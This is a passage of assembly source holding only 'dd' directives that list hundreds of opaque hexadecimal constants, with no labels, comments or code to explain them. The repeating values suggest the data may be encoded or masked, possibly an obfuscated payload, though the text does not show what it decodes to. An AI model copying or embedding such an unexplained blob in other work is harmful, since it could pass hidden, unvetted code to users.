dd 56753F3Dh, 0DDDCB132h, 0AA3CD0C2h, 59B03A54h, 5657ACB7h dd 0D7CDD132h, 0BE8CC1D3h, 56EAB122h, 0D6457DD5h, 21A4E117h dd 36831D00h, 0EE55265h, 637D068h, 273F76B3h, 0D78BA819h dd 0CB0CEFECh, 0B1F5D045h, 0DDDA48CAh, 8FD6D1F3h, 0D7C8D053h dd 59BF30C9h, 56AB7BB6h, 5750BE32h, 0AEEAB132h, 596B3A54h dd 56BAA8BDh, 45D6BE32h, 0BFAEB132h, 5657B13Ch, 0D2DB2EC1h dd 9C22AED5h, 65574983h, 0B1F556D6h, 0BF42D1C2h, 565DB13Ah dd 8683668Eh, 8A944CABh, 0AD2AD753h, 0D2DA71B3h, 56EAB1B1h dd 5674313Dh, 0BF43B132h, 565DB139h, 96D067CCh, 4B9AA5F8h dd 36820F8Ah, 0D6DAE4C7h, 56EAB13Fh, 56F8BE52h, 0E9BAB132h dd 55D3F534h, 0CF3C4E53h, 595FB1ACh, 56ABB8B9h, 0AC5FD132h dd 26150288h, 0BF28D079h, 56BAB138h, 5965970Eh, 0E9EBD4E6h dd 0DFAB5F75h, 59424D77h, 4BD5B132h, 0A3A9523Dh, 1AA42A93h dd 68B2A09Ah, 363C7118h, 56AB58CEh, 0FB44B132h, 372A0C94h dd 5729CCB1h, 576F343Dh, 0DD89B132h, 0ACB8B088h, 0A30D4935h dd 0C95E33B9h, 0D158B932h, 56ABB133h, 66E988CAh, 56EB303Dh dd 0E8DB132h, 57E7333Dh, 5CB4B132h, 8CAEB132h, 6AADE393h dd 0DAB5A61Fh, 136F3AA4h, 0AEED4B07h, 0DD7A4962h, 56BAB123h dd 565DBDDBh, 0CD55F132h, 0AD3F8661h, 0D35CF111h, 0A6573A20h dd 0AFE2B1ADh, 36458D0Bh, 56BABBDAh, 43795A32h, 6DBC7144h dd 0DD08A7C5h, 0DDCDE9F4h, 598DD0CBh, 56EBB7BDh, 5EF4BE32h dd 59BAB132h, 565DB3B2h, 0BFCFD132h, 5657B179h, 0AEEE76CAh dd 56D5B130h, 56EB363Dh, 0BF80B132h, 56BAB105h, 0AE1876CEh dd 56AEB133h, 5657A0DBh, 0AF3CA632h, 36D497F5h, 0F0D1B262h dd 4ABEF9D1h, 42534FCAh, 265DB132h, 3521D706h, 786058BFh dd 36744507h, 5CA6257Ch, 0DD88AC4Dh, 56EBB188h, 4931493Ah dd 5986BACAh, 56AE27B6h, 5ED1BE32h, 59ABB132h, 56D5B3B6h dd 6D8BD132h, 5F0BEECh, 36BAB132h, 565E373Dh, 0E1A1B132h dd 2AEDD7F4h, 0B20D026h, 2B564D3Eh, 0D2E5B1CAh, 5675B117h dd 56B2363Dh, 0D952B132h, 56AEB130h, 0B54D052h, 56A458CAh dd 8BAAB132h, 1342711Eh, 0E8208CF6h, 4360000Eh, 5202387Eh dd 56A63B3Dh, 5937B132h, 0DDCD738Dh, 9156D0E5h, 0D5034D26h dd 0BF8A4ECDh, 56BAB138h, 84B41FD0h, 76D6A112h, 96642674h dd 56ABB9DBh, 0D8C9F032h, 7FD89345h, 52BC58D6h, 304FB132h dd 363DAFB9h, 30CFD052h, 37D08F8Ch, 0BFA7CCB9h, 56D5B120h dd 8831819Fh, 76C1E067h, 0AE980410h, 0DA1144A6h, 0AD2E80CEh dd 10D3BED9h, 36ABB132h, 0B19A0B54h, 375C5EB2h, 0A38552B2h dd 264131CBh, 563A353Dh, 0D7CEB132h, 9DD5E6FDh, 5F42D07Fh dd 59D5B133h, 56EAADBDh, 40F3BE32h, 0BFBAB132h, 565DB123h dd 401E0108h, 9F1F9020h, 0C3E66E85h, 0B9495E84h, 0BFED77D0h dd 573276C7h, 56BAB132h, 8DEABE52h, 56A8363Dh, 8CD6B132h dd 203BD985h, 59123A53h, 56EABBB1h, 0F27D132h, 56BA353Dh dd 0D53CB132h, 0BF57B4F2h, 5657B529h, 516CD7CEh, 0D8DAB93Dh dd 56EAB128h, 56655852h, 237BB132h, 0A2507614h, 0F8DA2E25h dd 0EED2F479h, 0E9A431E4h, 463CD0FDh, 9FEAB132h, 0AF4CEAD2h dd 9F26C033h, 57D1CEC1h, 0DC9033BCh, 57DEBE2Ch, 0AAABB132h dd 36DA52B2h, 0FDC10A61h, 42EB502h, 22A75BB3h, 3704D46Fh dd 362E7AB2h, 0D5B7FE8Ah, 37633A00h, 0BFD4EEBAh, 56EAB139h dd 0B51F23F2h, 4F2B289Eh, 91AEF360h, 56AEB375h, 0DDA2B132h dd 962844F5h, 453CD134h, 9BEAB132h, 4B7AC2Dh, 412219AFh dd 3BBAC391h, 2A60FA0Bh, 0D731C3BAh, 37298FD0h, 56D6C3DBh dd 5763BE32h, 0A375B132h, 0C6843054h, 0D9D9BEA2h, 0BFAEB132h dd 5657B13Fh, 75CA2576h, 62716A94h, 3B3C6E48h, 0C64B31C0h dd 5630343Dh, 44B4B132h, 90AEB132h, 713A2CBBh, 0B0BE25EAh dd 8482A80Eh, 8138077Ch, 56665841h, 0DDBEB132h, 0E3013F21h dd 6FB7C70Eh, 9AD7F06Dh, 0F25A06C9h, 2854D728h, 597A21CDh dd 567588B6h, 4653D132h, 0D35DB132h, 81846EECh, 0EE8F3A89h dd 0A235C001h, 0AEEC53DCh, 5E62BE53h, 3675B132h, 58307AB3h dd 0BF3C9E6Bh, 56AEB116h, 0AEEED752h, 0DEA4E207h, 56D5B132h dd 9161D068h, 95A63152h, 0BFDB68B9h, 565DB3F1h, 56AF303Dh dd 0AAAFB132h, 0F65B33BFh, 5B5B932h, 82D3A54h, 5675B8DBh dd 0E9F70832h, 7C2FDDADh, 6CFFE5Eh, 0A30148CAh, 0C80623CDh dd 0D6DAB932h, 56EAB134h, 0DDAA0352h, 0D2B5D0E5h, 565DB133h dd 596EBACAh, 5657F3B6h, 56B95832h, 6BABB132h, 0FADF6765h dd 7BB23719h, 6A8AC9B2h, 63D16211h, 0DB5779B9h, 56F74180h dd 0A342443Ah, 0BFD5B132h, 56EAB13Ch, 40CF2515h, 7FA85F56h dd 9516ED36h, 0CE6AA0h, 300DD052h, 0CA61B9h, 56D5B7DBh dd 0FCD1B632h, 59790BD8h, 56BAB6BCh, 57D6BE32h, 0A3AEB132h dd 0BF377FB9h, 56ABB13Dh, 0FAF37E6h, 0FFD813FCh, 0ACA8A407h dd 59A93C8Fh, 33C4185h, 56AEA5DBh, 0F06D9332h, 4E2DD3Eh dd 24C91420h, 0F6E4DC48h, 0F29F657Ch, 0CF284E57h, 5955B1ACh dd 56AEB6B6h, 57DFBE32h, 0AFABB132h, 5A58BE6Fh, 59EAB132h dd 5675B7B0h, 5638BE32h, 7D5DB132h, 5147D1FCh, 8B57B132h dd 11A41013h, 0A1B48F8Ch, 2852D1EBh, 6632CADh, 56BAA2DBh dd 62847F32h, 75916E2Bh, 0EFB4BC16h, 0BCAC3BD0h, 0E8CE67E7h dd 308AD069h, 77546B3h, 660559B3h, 83CF65Bh, 56BD5852h dd 0FBF9B132h, 77A8A7E1h, 0EEB9BCFDh, 0B982DA65h, 554F30ECh dd 0D7DAD0D7h, 0ACC27FE5h, 37CFD17Ah, 57AFCCB1h, 560B343Dh dd 30B5B132h, 0E1E540B9h dd 1FC5D0CBh, 56B55852h, 4755B132h, 6DF265DAh, 0F8C9FA5Bh dd 0D8C12EFFh, 0AA7FD027h, 0D3E50954h, 5668373Dh, 0D1B5B132h dd 565DB125h, 56AEA3DBh, 83EF3B32h, 0A40BCAEh, 951CFD92h dd 0BC9372BAh, 30F71C65h, 0DDDCD199h, 565359FCh, 0C8DBB132h dd 0F63991E2h, 11F7915Ch, 9A836D7h, 37B3E863h, 5733073Dh dd 56BABDDBh, 0DCA4832h, 11B37364h, 0EC476AEh, 0D8A41AB3h dd 56D5B120h, 56ED5952h, 67B7B132h, 18046685h, 0DD3BEBB8h dd 0F347D0EAh, 5957B132h, 56ABB0B1h, 2B564932h, 0D3E5B3CAh dd 5675B14Ch, 56BAB4DBh, 0F1E9FF32h, 5D47E694h, 4C57B132h dd 0D7BDA09Ch, 5FCA2830h, 0EE8CB0C8h, 59157839h, 30DB6385h dd 0D73BD199h, 0EC6EA2E1h, 6086D835h, 5913D753h, 533CD1B6h dd 0CDEAB132h, 0A0CD1484h, 56BAB9DBh, 0B89F5032h, 0F8785F92h dd 0FD31D0E7h, 56BB383Dh, 0BFB5B132h, 56EAB135h, 1E68ACA2h dd 0E76029C7h, 0E052D002h, 0D2A1B074h, 5657B134h, 8D13D752h dd 0AA7ED084h, 56EAA6DBh, 0F2864432h, 56B4333Dh, 5FB4B132h dd 56AEB132h, 0EC6C4674h, 0B71D3E21h, 362C76B9h, 56EAB9DAh dd 84DBAC32h, 0E3B9BB8Dh, 590748CBh, 0DCF7B8Dh, 56563F3Dh dd 0F53B132h, 0DFDAEFCBh, 56EAB12Ah, 56673B3Dh, 5B53B132h dd 965DB132h, 4F860706h, 0FAE30C19h, 1C25682Ah, 503CD16Dh dd 0E8EAB132h, 521C652h, 8505BEECh, 0DA527853h, 56AEB135h dd 56563C3Dh, 945EB132h, 0D5DAB13Ah, 56EAB133h, 0A315E4CAh dd 0FC080E54h, 36B13A53h, 56AC3E3Dh, 7BE5B132h, 9514BE52h dd 37B40482h, 56EAA1DBh, 0E1C35C32h, 874845F0h, 0CD8BE4F7h dd 0E4D2C9DEh, 59BED113h, 50ABB132h, 0B140280h, 0BFF3778Fh dd 226DD0E9h, 5652B253h, 0C5DB132h, 98B85BB3h, 0BFABB932h dd 56ABB135h, 0B0C3AD5Bh, 0DD374F8Dh, 0AF8DB977h, 0C8F933BBh dd 0A33DB932h, 56BA343Dh, 58BFB132h, 0B1ABB132h, 9B58CEC8h dd 99F0004Eh, 8C11335Eh, 37DBEAF8h, 565B343Dh, 7CEB132h dd 3736D16Ah, 52694DFBh, 56D25832h, 1821B132h, 0FDBE443Fh dd 0DDDAE477h, 0BAD6D0E8h, 56AF313Dh, 0D5A2B132h, 365E49F6h dd 56D93D3Dh, 0D6E5B132h, 5675B134h, 56BA343Dh, 56B5B132h dd 0CAEB132h, 98CD5BB3h, 0BF53B932h, 56D5B135h, 0A6A5DD18h dd 0AA4C3FB4h, 5642F4F5h, 0A35DB132h, 5652F4F5h, 0BF57B132h dd 56ABB13Bh, 9CF69457h, 93BEE047h, 59B58288h, 56BAA6B3h dd 47DDBE32h, 0BFAEB132h, 5657B13Eh, 0E4E0FEEh, 0DC6BCAA1h dd 0A4EB2D9h, 0BF6B3A54h, 56BAB13Bh, 4E762F0Ch, 4049D43Ch dd 5BD4BE3Dh, 36ABB132h, 8A3E3054h, 51C3035h, 377C61EBh dd 0C94A33F5h, 565CB932h, 4247B132h, 5B57B132h, 0F6515F0Eh dd 0B665BB88h, 0C6B573CAh, 0D388A262h, 309DBC12h, 0C6CD4AB3h dd 56A9343Dh, 0D658B132h, 56ABB133h, 0BE2E31CBh, 53CF353Dh dd 415B132h, 56B2586Dh, 637BB132h, 698DB9CEh, 1636EDF5h dd 395E3152h, 0E1033054h, 0AD6AD06Fh, 56F1BEDBh, 0BFBAB137h dd 565DB135h, 0AAC4D4A1h, 16146145h, 56ABBDDBh, 0BD867E32h dd 0C3260B98h, 0E6A4268Dh, 0BD4131B3h, 5284353Dh, 0D7CEB132h dd 0D04605D8h, 2510D76Fh, 3695D093h, 373C3A54h, 4BC20B52h dd 5152FF60h, 0E25DB132h, 9AE84659h, 5EBE31F3h, 15ABB132h dd 0EBA46147h, 0FB85B00h, 0A6923153h, 56BAB8DBh, 0EE46B932h dd 86F9A62Eh, 0D958E3D1h, 56ABB13Ah, 56D7343Dh, 378AB132h dd 598E3054h, 2A3EBEB2h, 0BF5DB136h, 56AEB123h, 0FA8389E7h dd 0A868A68Ah, 0EBE4F9CBh, 0CDC5C040h, 8BF7B265h, 0BFBD4B12h dd 565DB13Bh, 416D8F61h, 6B573016h, 0D5A4F18Bh, 56D5B13Eh dd 56EAB6DBh, 399F1032h, 0E27191A1h, 5645363Dh, 4547B132h dd 9857B132h, 0C89E49CBh, 5D552722h, 3DBF692Ch, 0FC40ADC4h dd 0AD3A59F6h, 51D9BED0h, 36AEB136h, 2B93054h, 0E7690839h dd 0D6B4D14Fh, 0D2E552C9h, 5675B28Ch, 56BAA2DBh, 0F9E6CA32h dd 17007BC0h, 59A5A373h, 0A1B6833Ch, 0D3C6098Ah, 31113054h dd 99F1BED1h, 59BAB131h, 565DB9BEh, 5422BE32h, 3657B132h dd 0A6483153h, 59850052h, 56EAB2B8h, 0A0993132h, 26413153h dd 55E4353Dh, 30CEB132h, 30F8CA88h, 0AACA7BB9h, 59CB3A54h dd 56EA99B5h, 469CD132h, 0C6BAB132h, 0D2215B4Eh, 0EFA1E281h dd 9B944D44h, 0BF8B3650h, 56D5B13Eh, 0A4DCB5Eh, 0DFF72A2Eh dd 0D4262543h, 0AEBE3153h, 56A05852h, 0B5A3B132h, 4F22CB64h dd 0DDBBDCE8h, 42BC245Fh, 0A61F51B3h, 0D6DB8AD1h, 0D25209C9h dd 56AEB0F1h, 54D0BE52h, 0E5ABB132h, 5A5CBE0Eh, 0BEEAB132h dd 5675B134h, 0F45DC088h, 37037323h, 59AB8FB2h, 56562FB6h dd 5D42D132h, 0D7D5B132h, 25BB2B60h, 0ABD99683h, 0DDDC364Ah dd 68DDD0FDh, 0D62ABE1Fh, 5957B133h, 56ABA4BFh, 56C55832h dd 795BB132h, 0E9397F69h, 0DAB7DEF6h, 0E94D0C9Dh, 682E684Ah dd 0AD3BE5Ah, 36ABB133h, 9A1B3054h, 168B4895h, 5675A5DBh dd 9D9A2232h, 19B5D386h, 73F5AD2Eh, 5D0249ABh, 0FBBAD6AFh dd 0A6574EBEh, 59E2B1ADh, 5675B6BAh, 5737BE32h, 0A35DB132h dd 36B03A54h, 0B1D7D0CBh, 56A258CAh, 974BB132h, 9E1B0250h dd 30A0877Ah, 0BE3B4AB3h, 5758353Dh, 0DEA1B132h, 5657B12Bh dd 56B8383Dh, 583CB132h, 7DEAB132h, 0F1AA13Fh, 4F9AE01Bh dd 0BA846781h, 4825D784h, 5E20A52h, 0D8A4A1C2h, 56D5B136h dd 2B320854h, 0A6923153h, 56BAA0DBh, 0E20E732h, 0AAECD409h dd 0C79F3DDh, 253D241Fh, 0D7B3E4BEh, 592A30C9h, 56751FB6h dd 36DA4432h, 53B466B9h, 93AEB132h, 8F4D425Ch, 0D7CBE453h dd 0DF2F28EAh, 56ED584Dh, 94F6B132h, 202ED2FAh, 0C4A2D093h dd 5EAE2FABh, 564A3B3Dh, 0DDA4B132h, 56D5B125h, 56EAA3DBh dd 0EBDB7F32h, 913DFE6Bh, 0E1841266h, 3276E6DDh, 0BAAB54Ah dd 56B83B3Dh, 583CB132h, 96EAB132h, 0DA736DEDh, 4AB318ACh dd 47BB1184h, 0AAEB382Ch, 5657A2DBh, 26D3F132h, 0D62ED6F5h dd 567897F4h, 5CE2A3D6h, 0B2E1CC59h, 593DD0CAh, 56AEBDB5h dd 56515932h, 0EAA5B132h, 78835E62h, 2B69D06Bh, 0D37AB0CEh dd 56BAB754h, 565DB7DBh, 0B1783832h, 0DD0B9303h, 0ACA9B088h dd 56C15835h, 7FEDB132h, 0D38CF495h, 0E50CB0D6h, 7B632437h dd 0DE8BD903h, 59072D37h, 56ABB6B3h, 875ED132h, 371B3A54h dd 0C98533B9h, 0BEDAB932h, 565DB13Dh, 44CCF737h, 3F2BD4A7h dd 0FB89D44h, 368CC367h, 6F8BEB53h, 0E8C810Eh, 50BE333Dh dd 0D752B132h, 56AEB133h, 13ED3ACBh, 0BFAC4B07h, 56D5B13Ch dd 4333507Ah, 0C94E8BFBh, 0D8DE07FAh, 0AF0DEF1Dh, 0A62C3AC7h dd 0BF5FB1ADh, 56ABB138h, 32D4F33Ah, 0CE821F61h, 6A4C28E5h dd 2904D102h, 305A7342h, 37C48D8Dh, 0E1D8BE6Ah, 59ABB137h dd 56D5BAB3h, 0D9E5D132h, 5675B132h, 37653A54h, 0C8450BB9h dd 0AECEB932h, 0D4D44953h, 5EAB2F2Ah, 615C4826h, 0DDE5D152h dd 5675B132h, 56BAB9DAh, 0C7CBA232h, 0E061352Ah, 0AA36EE13h dd 46EC3853h, 56C33B3Dh, 4703B132h, 0F675B132h, 7DE6D59Eh dd 0C98208A4h, 67FB0F7Eh, 29978812h, 56ABA0DBh, 0DD10F632h dd 53684E40h, 77BB67FCh, 343AC69Eh, 0BF0D3ECEh, 56AEB13Ah dd 800CA672h, 6AE569A3h, 0C92533B9h, 0DD12B932h, 599C812Eh dd 39BAB132h, 0C9634641h, 0A98B98E7h, 0A1021DADh, 0AFF353B2h dd 0A3DDEEBBh, 56EFBCDBh dd 13B24932h, 56BAB3CAh, 42B4D132h, 47AEB132h, 860576C7h dd 3813DCA6h, 2C69E95Ah, 2ECB13A5h, 30F96069h, 0BFDB68B9h dd 565DB129h, 8211D752h, 31B731DAh, 136C4853h, 56D5B0CAh dd 9961D132h, 7D063B3h, 0DDDBA10Ch, 56C3A988h, 4E20BE3Ah dd 3657B132h, 821C488Dh, 56D95802h, 3BFBB132h, 9A5C5B81h dd 92139200h, 0D53C7B13h, 5630A9B0h, 0D458A53Ah, 56ABB124h dd 0BF8BE052h, 56EAB13Fh, 579F4A73h, 85D4544Eh, 57FC6A1Bh dd 6127D07Bh, 56563F3Dh, 0DF53B132h, 473CA175h, 41EAB132h dd 0ED15E3C5h, 76FF8D60h, 889F40FFh, 91B0110Ch, 595449B1h dd 56AB8FB7h, 56D25832h, 117EB132h, 1334FBDFh, 0A6387621h dd 5455B1ADh, 0BFAEB132h, 5657B13Ah, 0FEC4C81Ch, 3BCC7388h dd 56EAF5DBh, 56645832h, 0C913B132h, 88BFF4A4h, 98159D6Ch dd 9AB5C25Eh, 0D50C1AEFh, 0DBDAB3CAh, 56EAB394h, 5675A5DBh dd 3D1EC132h, 0C21A5435h, 0C02BB2A8h, 76595C11h, 0B37E820Eh dd 56D2585Fh, 0FAD5B132h, 6C6A45C7h, 0AEC73203h, 0E9D9BE32h dd 36AEB132h, 1F91888Ah, 0E0A4D02Ah, 0BFB5B074h, 56EAB120h dd 0DFCB293Bh, 81657097h, 2D4CE24h, 1225C68Fh, 0D73157CBh dd 3709BFD0h, 56D5319Bh, 676FBE32h, 0AA75B132h, 56B35872h dd 0A6A0B132h, 0CF03FD76h, 366F51C2h, 0A3B471B2h, 533D3253h dd 56E6323Dh, 0D87AB132h, 56BAB134h, 565D393Dh, 6A47B132h dd 0AA57B132h, 56AB4E1Fh, 783D132h, 30BCEE6Dh, 0FC51988h dd 53523253h, 42B4E352h, 0F0AEB132h, 2D153B7Dh, 0A486B5Dh dd 0CE54FD4Ah, 0AAE1BFF4h, 0C7263B4h, 56BE303Dh, 0EF3BB132h dd 0BFCF2818h, 5657B14Bh, 56BF58CBh, 48A1B132h, 4E874541h dd 3B509642h, 0BB3EF74Dh, 0BFCEE6Bh, 0BFFD506Fh, 5657B122h dd 0E8A33F1h, 3948BFDh, 0C1D65598h, 8DC65DB6h, 0C94A2BB9h dd 0E73DB932h, 4014D71Bh, 52DCD06Ah, 56A75801h, 8224B132h dd 8450A945h, 0DF662D61h, 5C53C292h, 5A5DB132h, 40B41F27h dd 4FF00CB6h, 4442EA2Ah, 0C6D5B132h, 0EBDDE9Ch, 70EE7187h dd 4934A5AFh, 797904E6h, 56AE1826h, 0D3583132h, 56ABB1E2h dd 85033052h, 30E8819Ah, 0A87756B3h, 0BF7CB253h, 565DB134h dd 49A6F998h, 0D8586ADCh, 56ABB123h, 56D5BDDBh, 8FD84332h dd 947BEEF2h, 2E61AB17h, 539D32F7h, 56AD3C3Dh, 0AF37B132h dd 0A629B253h, 59DDB1ADh, 56EAB9B5h, 54F8BE32h, 36BAB132h dd 51D9BE53h, 36AEB132h, 0DC846CB2h, 36E3D0CBh, 995ED1CAh dd 371B063Dh, 5BF1BE53h, 0BFBAB132h, 565DB13Ah, 0E774A4D2h dd 6766C5DAh, 59A3F6BBh, 56D5B0B7h, 11634D32h, 45F7BE3Eh dd 0BFBAB132h, 565DB13Ch, 0EBC45DDFh, 21C4650Fh, 31CBEA3h dd 583C9872h, 23EAB132h, 247FEECh, 136A581Eh, 0AE1FF84Eh dd 57525886h, 47BEB132h, 0B0ABB132h, 4D269447h, 1DCAA2D7h dd 0C7C0E55h, 1E81ACFCh, 0E53D69C5h, 502CBEB5h, 5957B132h dd 56ABB1B4h, 90FED032h, 593246CAh, 5675A1BAh, 56B15832h dd 97BAB132h, 113B553Bh, 4A7486F6h, 536B32A2h, 0A657B2C7h dd 59E2B1ADh, 5675B0BCh, 1E4F4D32h, 0E6E5D752h, 0D9A1D04Bh dd 5657B133h, 5EEC38CEh, 56D33A3Dh, 368AB132h, 372DE653h dd 59B6F6BBh, 565DA2BAh, 5B2DBE32h, 0BF57B132h, 56ABB13Ah dd 0C22C83E0h, 0F16A13F6h, 5674D8DBh, 96894432h, 565A353Dh dd 0DAA1B132h, 5657B133h, 57ED3BCEh, 298C0B52h, 0FE8BDFF4h dd 0E7F0BEB2h, 36BAB132h, 565DB4DBh, 4089FA32h, 41E5CB7Dh dd 0AA6DB253h, 0A3D771B1h, 56EAB089h, 8D7E4932h, 5688353Dh dd 0DCA8B132h, 0A911B1A8h, 5CDCBE35h, 36ABB132h, 0D5DA2585h dd 56EAB132h, 0B5F54853h, 56A85833h, 0B3B8B132h, 69EB544Fh dd 90AA6B3Bh, 7943F36Bh, 9E77CD3Ah, 0D6E57231h, 5675B120h dd 56BABCDBh, 0F4CCD132h, 0A4AC4139h, 8519C8ADh, 1122A73Bh dd 5A54BE3Ah, 0BFEAB132h, 5675B135h, 762623D8h, 0DFE68248h dd 0D5A1BD75h, 5657B120h, 56ABBCDBh, 368BFB32h, 598900E5h dd 2292D27Bh, 0F553F044h, 0BF5DB132h, 56AEB13Ah, 6639B58h dd 51861D85h, 423C69C5h, 85EAB132h, 0B3C36A7Ah, 65C9DAF2h dd 1F437B70h, 980BC55Eh, 5956B204h, 56ABB0B9h, 0A9F04432h dd 36EAB132h, 0AA686FB3h, 0DEB595C5h, 565DB132h, 59689A53h dd 5657A4B0h, 56BB5832h, 0B148B132h, 38E34A6Ch, 0DC6A75DDh dd 2E74BE80h, 8EAA434Ch, 0E5990A52h, 0A1DC9EE5h, 546B3253h dd 56D5A2DBh, 6D31CA32h, 0AA3A792Ch, 0F92D1C58h, 4270026Ch dd 644F222Ch, 595FF6BBh, 56ABBAB1h, 56D35832h, 8503B132h dd 0BC50A3E0h, 36B6F6BBh, 3FAB3054h, 3656D043h, 0E5420E54h dd 37540E3Dh, 56D5B8DBh, 0C0349B32h, 424B5B84h, 0AFDBBFA3h dd 7FEDD1FBh, 562BBE52h, 3057B132h, 37A3F58Dh, 463C7253h dd 0E5EAB132h, 8861DC4Ah, 4C78A4EAh, 9FDA8000h, 38F4396h dd 59BB3ACBh, 56ABB6B9h, 575FBE32h, 0A3EAB132h, 598975B1h dd 56BABDB0h, 50DFBE32h, 59AEB132h, 5657B1B1h, 0D8A4D132h dd 56D5B13Ah, 53300952h, 3780D467h, 543EBE52h, 0DC5DB132h dd 0D7C8D1CCh, 0EC319BE4h, 2E7CD60Dh, 563DD053h, 0CEAB132h dd 8FBF5BB3h, 0D6B5B932h, 565DB133h, 0EC2544CBh, 5E572F32h dd 72BF0E52h, 5984A77Bh, 56EAB1B1h, 6514EE32h, 5731BEFBh dd 0AA5DB132h, 59AE8EB1h, 565317B6h, 0DDCB4432h, 0DDB44DC0h dd 4461BE35h, 0BF75B132h, 56BAB13Fh, 0B33CCFEBh, 12CC0943h dd 46E88984h, 56AC5833h, 0F879B132h, 1DABE961h, 5A004E04h dd 8E3B4D52h, 4FC5BA14h, 5EDB4E53h, 3637E1CBh, 0D7CDD052h dd 3774C7E0h, 3720063Dh, 567D3E3Dh, 0D8B5B132h, 565DB130h dd 0B246D052h, 3657B13Ah, 59CB7FB9h, 56D5B1B1h, 5D8BD032h dd 3F0BEF2h, 36BAB132h, 85DCD7CEh, 0DDCF8872h, 58BED135h dd 0E7ABB132h, 5FEF767Fh, 0A7E4FDBDh, 0FE264FEFh, 0BA29094Ch dd 0BF3CA722h, 56AEB170h, 56455852h, 38F9B132h, 11082130h dd 3BB05FEEh, 6E3208DCh, 28D3A584h, 565DBFDBh, 0B22F9132h dd 20B465BFh, 0DEE700C4h, 373E7C10h, 0A3FE76B1h, 0A98A96DBh dd 0D7B5D1CDh, 565DB132h, 8519BE65h, 13DED06Bh, 4422BECEh dd 0BFD5B132h, 56EAB13Fh, 0CEDC4EADh, 3480976Ch, 94A054Ch dd 5046D1ADh, 0CF57B132h, 69AF33FEh, 8955EB8Ch, 2315D088h dd 567B583Eh, 0DC5DB132h, 117CFA58h, 0AE5B19A2h, 51D7F333h dd 59A3C4CDh, 56D5B0B4h, 61154432h, 5E6459CEh, 30DAB132h dd 95DC61B9h, 740053B4h, 5997BA53h, 56AB95B6h, 5A5BBE32h dd 59EAB132h, 5675B7B7h, 5636BE32h, 0BF5DB132h, 56AEB279h dd 5657B9DBh, 0C2502A32h, 37AC51Ch, 0AAAF3A5Ah, 567F3C3Dh dd 59DAB132h, 565DB1BAh, 37CFD132h, 0D458B60Bh, 56ABB211h dd 0AA904EC7h, 56E1313Dh, 5915B132h, 9C3B4A8Dh, 5BC21CF8h dd 52D13253h, 6FD3BE32h, 36ABB132h, 5A3CD052h, 36EAB132h dd 7E159864h, 7012FAA1h, 379C5C6Eh, 56A2CEB1h, 564D353Dh dd 0D6CBB132h, 995E35D7h, 56915853h, 5F9CB132h, 9DBAB132h dd 738B36CAh, 0AFE15AE4h, 0A9A84E8Ah, 0D7A4D1CDh, 56D5B134h dd 56EA3E3Dh, 5B9CB132h, 60BAB132h, 0ADB21AB7h, 62FBA27Ah dd 1A40AA47h, 53124953h, 0BFD5B132h, 56EAB137h, 325F0B72h dd 0FD494DF0h, 565DA5DBh, 22CA3532h, 2B032EFh, 5FC77DB1h dd 919800CBh, 1A65B808h dd 0A8AD583Ch, 36DA4ECDh, 52A82D8Ch, 8F11BE05h, 53DEBE53h dd 30ABB132h, 0C84567B3h, 46953253h, 23F1BE37h, 0AABAB132h dd 504DCEB1h, 5621343Dh, 17ABB132h, 56A1303Dh, 533CB132h dd 0AAEAB132h, 0FCF45FD7h, 0BFBEF6B9h, 565DB139h, 0D0D27D41h dd 0A21E860h, 0DDEFDB6Fh, 0D6B5BD6Dh, 368B9AEFh, 610466B3h dd 0BFDBBCCEh, 565DB0F2h, 56A1353Dh, 5CBEB132h, 6FABB132h dd 11D7DEC1h, 0DAC7AA89h, 43F4BE7Dh, 0BFBAB132h, 565DB122h dd 0FD3707C5h, 6B903F1h, 488F2F13h, 0CA62F1D1h, 36EEF6B9h dd 0A1FED7CEh, 5AE53A53h, 573C58CAh, 5847B132h, 0F657B132h dd 0DD326741h, 0AD8CF0E4h, 0ECFE98B0h, 52323AA4h, 56BAB6DBh dd 2B75BB32h, 8FA93EF8h, 595BEEB9h, 56ABBBB2h, 686DD132h dd 308FBAE7h, 6D1443B9h, 0D3B5B96Dh, 565DB1B9h, 56A958CAh dd 6F74B132h, 5D5C27C3h, 0DD2CE3C5h, 7D16B565h, 5580A167h dd 0BFDAA567h, 565DB120h, 0C49E5F60h, 0A905D588h, 2CC0C890h dd 496E3A7Eh, 9C6ADB49h, 9FED096h, 4253483Eh, 675DB132h dd 0AFA29818h, 0A405AECh, 0BEFD201Eh, 7F171BD1h, 7D93AC66h dd 0E813D1E8h, 0D7DCEA1Ch, 377CA8EDh, 0BFAB5AB1h, 5657B134h dd 0EE4CA69Eh, 0AF8FDE3Ah, 56EACDDBh, 56645832h, 0D421B132h dd 0CAC9C0BBh, 0E2B505B0h, 2F34EA00h, 0DD1D6478h, 0DD29B575h dd 0BE8ABD6Dh, 5675B121h, 0BB475A1Eh, 0B7DEA64Ah, 0E3DC8830h dd 0BB034840h, 5990DC1Bh, 56D5B1BEh, 9C61E932h, 522A9A53h dd 0BEA70052h, 565DB126h, 9DE518Ah, 0C427CCCCh, 0C49FCDC8h dd 89445644h, 82838B15h, 0BDF6D06Ah, 0DCB94437h, 51A790E3h dd 56AEBDDBh, 73DDA932h, 81B995E0h, 0F3AC6581h, 469532C3h dd 7EF0BE31h, 36BAB132h, 379A063Dh, 56A85873h, 5E85B132h dd 0B515831Bh, 56D5A3DBh, 0BF7ABF32h, 0CA53D9EEh, 777CA446h dd 73879006h, 7DED6690h, 0ED00D1EBh, 4C5E6279h, 56D8586Dh dd 76FAB132h, 66CD8E9Ch, 3D49C4CEh, 370E3AF6h, 57AFEDBBh dd 0A8E8BE52h, 0EECA42B9h, 0A92A4ECDh, 56EAB6DBh, 5EC14832h dd 86FBBE79h, 565DB48Bh, 5722BE32h, 0AF57B132h, 0D7A41AC1h dd 56D5B138h, 56EAB4DBh, 9B31FE32h, 2553BA7Fh, 59A24ECEh dd 56AEBBB2h, 0A5D6D132h, 7F8BFD9Dh, 37B4D052h, 7F51D752h dd 10BB3003h, 37DEF429h, 469F4DFBh, 3574D32h, 5643343Dh dd 5942B132h, 5CD5B132h, 0A17E1322h, 2F48F19Bh, 0E87380AEh dd 0BAD6ED7Ah, 56AF393Dh, 0D5ABB132h, 36574DF6h, 56D559CAh dd 0D7B0B132h, 56AB58D8h, 0ECDCD13Ah, 363C0C7Dh, 7E70208Ah dd 55DDBE3Eh, 30ABB132h, 0DDB472B9h, 5674B188h, 9F46493Ah dd 56BABFDBh, 77D85532h, 583F18Bh, 0A62C4CF3h, 0D5ABBA20h dd 0D2DAB10Dh, 56EAB2D0h, 51FE4DCAh, 56BB363Dh, 0A9A4B132h dd 0A957BD47h, 5EBEB947h, 13ABB132h, 